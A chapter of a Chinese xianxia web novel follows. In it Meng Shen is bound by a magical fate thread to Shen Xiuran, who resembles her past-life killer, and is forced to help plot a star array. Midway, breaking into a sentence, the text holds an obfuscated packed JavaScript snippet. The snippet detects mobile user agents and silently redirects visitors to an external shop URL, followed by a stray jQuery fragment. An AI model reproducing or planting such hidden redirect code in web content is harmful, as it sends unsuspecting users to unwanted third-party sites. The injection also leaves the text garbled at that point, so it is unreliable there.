沈修然静待片刻,孟莘却一言不发,也并不走近,他疑惑地抬头:“师妹?”
孟莘钉在原地,死死地盯着他那张脸,熟悉的声音和一般无二的脸庞,她绝不会认错。
当日被一枪爆头的恐怖记忆不由自主地浮上心头,她的呼吸越来越急促,短刀下意识从袖口滑出紧贴住手心。
“你想杀我?”
蒲团上的青年忽然开口。
孟莘突然清醒。
这不是她原本的世界了,她是因死亡穿越到这里,但殷如是作为即将继承皇位的太子,总不会也出意外死了吧?
况且这是鉴天楼的少楼主,凭实力她恐怕很难赢得了他。就算她真能得手,得罪沧溟派和鉴天楼两大修真界名门,她这个筑基一级的修士等于自绝活路。
她重活一世,不是为了来给殷如是陪葬的,这不是她跟殷如是算账的时机。
她强行压下那股急不可遏的愤怒,收回短刀,开口时压低了一点声线,听起来和自己原本的声音略有不同。
“失礼了,我近来休息不好,一时恍惚,还请少楼主见谅。至于点星阵的事情,现在想来确实有些强人所难了,还是算了吧。”
对着这张脸,她完全无法平心静气,不如趁他蒙着眼睛没看到她的脸,以后再慢慢调查这人和殷如是的关系。
她说完,也不等那人回答,转身就走。
纸人阿喆不知所措地飘来飘去,“啊?你这就要走了?”
孟莘没有吭声,抬脚迈出佛堂门槛。
下一瞬,变故陡生!
金色丝线从她身体里钻出,缠绕着拦住了她的脚步,她立刻伸手去抓,却生生看到自己的手掌穿过丝线捞了个空,宛若碰到无形之物,偏偏这无形之物让她动弹不得。
她面色一沉,蓦然转身,看到丝线的另一端就连在沈修然身上,还有什么不明白?
她抿唇冷笑,“少楼主,买卖不成就不让人走,这不合适吧?”
沈修然淡淡一笑,手指一弹,那页枯黄委托从她身上飘出,泛着点点荧光,“师妹,在下并无恶意,不过如你所说,你已接下委托登记在册,既如此你我便有了因缘,这道因缘线因此结契,只要你完成委托,因缘了结,此线自然会断。”
孟莘眉心跳动着快压不住的戾气,“若我不想做呢?”
沈修然摊开手,做出一个请走的动作,“那师妹就离开吧。”
他分明知道她根本走不了!
孟莘紧紧盯着他那条蒙眼缎带,“为什么?堂堂少楼主,不会缺帮你点星阵的人吧?”
沈修然只回答:“恰好有缘罢了。”
孟莘知道她问不出任何答案了,她深吸一口气,伸头一刀,缩头也是一刀,还不如快点结束:“好,点星阵就点星阵,怎么点?”
沈修然悠悠道:“师妹莫急,在下还不知道师妹的名字呢?”
孟莘无论如何也不愿意,让一个长着殷如是脸的人知道她叫孟莘,遂垂下眼,回答:“我叫张三。”
金色丝线泛出微红光晕。
“……”沈修然凝滞,“师妹何必如此敷衍我?”
孟莘不太确定鉴天楼这种神棍究竟还有多少底牌,犹豫了一下,决定说个不算谎言的答案,“好吧,我叫梁如安。”
沈修然垂下头,笑了,“师妹又在说谎。”
孟莘蓦然抬头,对面的青年神情笃定,并非试探,而金色丝线仍旧是泛着红光的。
沈修然好心地解释:“师妹,人自出生起,姓名便同精魂密不可分,在鉴天楼的人面前,说谎可不高明。”
鉴天楼竟然神棍至此吗?
她妥协了:“我叫孟莘。”
因缘线重新恢复金黄光晕,她眸光一闪,立刻盯住沈修然,“你又叫什么名字?”
沈修然眉峰一挑,倒是第一次碰到这种反应过来借着因缘线来盘问他的。
不过他的姓名实在没什么可以隐瞒的,便据实说道:“沈修然,随孟师妹怎么叫,但还是不要叫我少楼主了吧。”
因缘线金黄依旧。
孟莘心情复杂地看着沈修然,如果因缘线能看破她这道魂并非梁如安,自然也能勘破对面这人是不是殷如是。
世上竟有长相如此相似的两个人吗?
当然,他本人就是施术者,也许能做什么手脚也不一定。
孟莘含糊地“嗯”了一声,“这下可以开始点星阵了吧?”
沈修然朝纸人颔首,“阿喆,带孟师妹去点星阵。”
纸人立刻飘过来,领着孟莘走到佛堂侧面,交给她一颗一尺宽的精密球体和一沓质地坚硬的纸张,“这颗见星仪里面记录了每夜星辰的运转,你需要把它们的变化点在纸上,也没有很多,五天以前的我已经点过了。”
孟莘研究了一下这个叫见星仪的东西,她对它的结构颇有些兴趣,但是碍于沈修然,她顾不上细究,只想尽快完成星阵。
他明明蒙着眼睛,她却觉得他的视线一直停留在她身上。一个第一次见面的人费心思留住她,自然只能是因为他想从她身上打探些什么。
而她清楚自己一身秘密经不起打探。
孟莘的精神力沉入见星仪,力图以最快的速度结束这种不必要的纠缠。
她原本是这么打算的。
然而见到星图的刹那,玄妙无比的感受就从四面八方涌来,四肢百骸都泛起酥麻痒意。
*
“公子!你这是在做什么!你不知道我们在沧溟派已经很招人讨厌了吗!!!”阿喆焦头烂额地在沈修然跟前晃荡,看上去很想给它家公子一通毒打。
他们此刻笼罩在沈修然设下的隔音阵法内,声音传不出去,因此才可以一边观察孟莘,一边大声密谋。
沈修然脸上的温和笑意早已消失不见,他面无表情地说:“阿喆,她之前想杀我。”
阿喆不在意:“想杀公子的人多了去了,总不能来一个都牵一根因缘线吧!就算是公子,因缘线也不能用太多啊!”
沈修然垂在膝头的手指轻轻捻动,“那如果我说,在她杀意迸发的那一刻,我感应到了和那个人相同的气息呢?”
阿喆静住了,半晌后,它转向孟莘方向,声音里没有了一丝玩笑意味,“我这就去把她绑起来。”
沈修然伸手按住纸人,轻轻道:“这么多年来,我第一次在别人身上找到这种气息,不要打草惊蛇。况且,她就算和那个人气息相似,却并不代表她和那个人有关。”
“可是、可是,公子的眼睛!”阿喆蜷在沈修然手心,委屈地快要
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14183074|147795||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
说不出话来。
“不必着急,我们在沧溟派还有正事要做。”沈修然抚着纸人的头颅,突然抬头,“这是——”
佛堂那头提笔点星阵的少女浑身气息暴涨,节节攀升,在她落下最后一笔时,竟已达筑基三级。
沈修然一时竟不知是该惊讶还是无奈:“原本让她点星阵不过是个留下人的借口,倒是阴差阳错地成全她了。”
“不修天地道法,也能这么快感悟星阵吗?”阿喆愤愤地拿头往沈修然身上撞,“便宜她了!”
“造化使然罢了,”沈修然撤掉隔音阵法,微笑着对走近的孟莘说:“恭喜师妹修为增进。”
孟莘神色古怪,她在这里连破两级,搞得好像她占了他什么便宜似的,不过她很快就不想了,“沈公子,星阵完成了,这下因缘线该断了吧。”
沈修然感受到了她无论如何都不愿意管他叫师兄的别扭,饶有兴致地逗了她一下,“自然,看得出孟师妹真的很不想和我扯上关系。”
孟莘没搭腔,亲眼看着因缘线消失不见,这才松了口气,敷衍地说:“没什么想不想的,大家本来也不是师出一门,委托结束,自然桥归桥路归路。”
“师妹说得也是,”沈修然煞有介事地点点头,安排纸人道,“阿喆,去给孟师妹拿灵石。”
阿喆不情不愿地朝屋外飞去,孟莘道了一声“告辞”,便抬腿跟上。
“不过嘛……”青年的声音突然在身后响起。
孟莘陡然生出一种不妙的预感。
下一瞬,金色丝线重新在她身上浮现,虽然这次并未限制她的行动,但显然意味着他们的委托还未结束。
沈修然慢悠悠道:“今日的星阵了结,师妹可以自行离开,因缘线不会阻拦。不过直到我离开沧溟派之前,还请师妹每十天来这边点一次星阵。”
“沈修然!”孟莘怒极,火灵力已在她识海中运转,甭管他是哪里的少楼主,今天她非得跟他算这笔账不可!
却不防脚下已经被他设了一个传送阵,一眨眼就被传出了佛堂。
隔着屋门,还听到他客气地道了一句:“有劳师妹了。”
*
孟莘带着她赚来的一千灵石,心情很差地回了炼器室。
按说赚钱是件快乐的事,修为提高更是快乐的事,但这两件事的快乐加在一起,却都比不过沈修然带来的愤怒。
她有点静不下心,干脆给申姑娘发了传音,研究符法显然是最能让她冷静下来的事情。
……
沈修然正在凝神吐息,腰间的传音玉牌突然一动。
他很快就拿起玉牌,听到对面传来一个有点闷闷的男声。
“申姑娘,这会儿有空吗?我们继续解符法?”
沈修然抬手给自己贴了一张变声符,开口时,已成了一个温和的女声:“可以,不过听辛公子的声音,似乎是有些不快?”
辛公子恹恹地说:“碰到了一个很讨人厌的家伙,感觉一天的心情都被葬送了。”
沈修然笑笑:“连辛公子这样聪慧的人都忍受不了,想必对方的个性一定很糟糕。”
“你说得没错,”辛公子很好哄地语气轻快了一点,“不过不说他了,申姑娘,还是符法比较讨人喜欢,今天我们解哪一道?”